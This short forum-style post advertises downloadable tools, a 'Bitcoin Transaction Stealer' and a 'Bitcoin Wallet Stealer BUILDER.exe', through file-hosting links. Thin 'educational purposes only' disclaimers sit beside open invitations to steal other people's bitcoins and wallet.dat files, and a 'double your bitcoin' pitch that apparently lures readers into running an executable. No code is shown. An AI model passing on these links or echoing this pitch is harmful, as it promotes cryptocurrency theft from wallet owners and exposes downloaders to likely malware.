This is for educational purposes only! SO DO NOT ABUSE! IT IS MEANT FOR PEOPLE WHO WANT TO DOUBLE THEIR BITCOIN, ONLY WORKS ONCE PER ADRESS! PLEASE WE ARE NOT HELD RESPONSIBLE FOR THE DAMAGE YOU CAUSE AGAINST THE PERSON YOU STEAL BITCOINS FROM!
 
Remember, it's meant for educational purposes only. Not for you to earn alot of bitcoins!
 
http://www.2shared.com/file/26sf8qro/itcoin_Transaction_Stealer_-_r.html
Enjoy.
 
Or if you want to steal someones wallet.dat then you can download the following software and build your own stealer.
 
http://www.mediafire.com/download/2o87bkx3b1fc79d/Bitcoin_Wallet_Stealer_BUILDER.exe